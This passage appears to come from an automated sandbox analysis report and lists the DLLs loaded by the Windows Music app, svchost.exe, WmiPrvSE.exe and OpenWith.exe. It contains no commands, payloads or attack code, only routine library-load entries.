Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.staterepositoryclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.ui.xaml.controls.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: uiamanager.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.ui.core.textinput.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: threadpoolwinrt.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.system.profile.retailinfo.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.media.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.applicationmodel.lockscreen.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: wincorlib.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: lockappbroker.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.graphics.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.ui.xaml.phone.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.media.playback.mediaplayer.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: mfplat.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: rtworkq.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.media.mediacontrol.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: mfmediaengine.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.media.devices.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.media.playback.proxystub.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: comppkgsup.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: directmanipulation.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: globinputhost.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.web.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: wpnapps.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.devices.enumeration.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: devdispitemprovider.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: ddores.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: defaultdevicemanager.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: wuceffects.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.networking.backgroundtransfer.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: profext.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: biwinrt.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: photometadatahandler.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.security.authentication.web.core.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: microsoftaccountwamextension.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: mfcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: gnsdk_fp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: mp3dmod.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinui.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: actxprxy.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.appdefaults.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uiautomationcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dui70.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: duser.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uianimation.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: oleacc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: directmanipulation.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
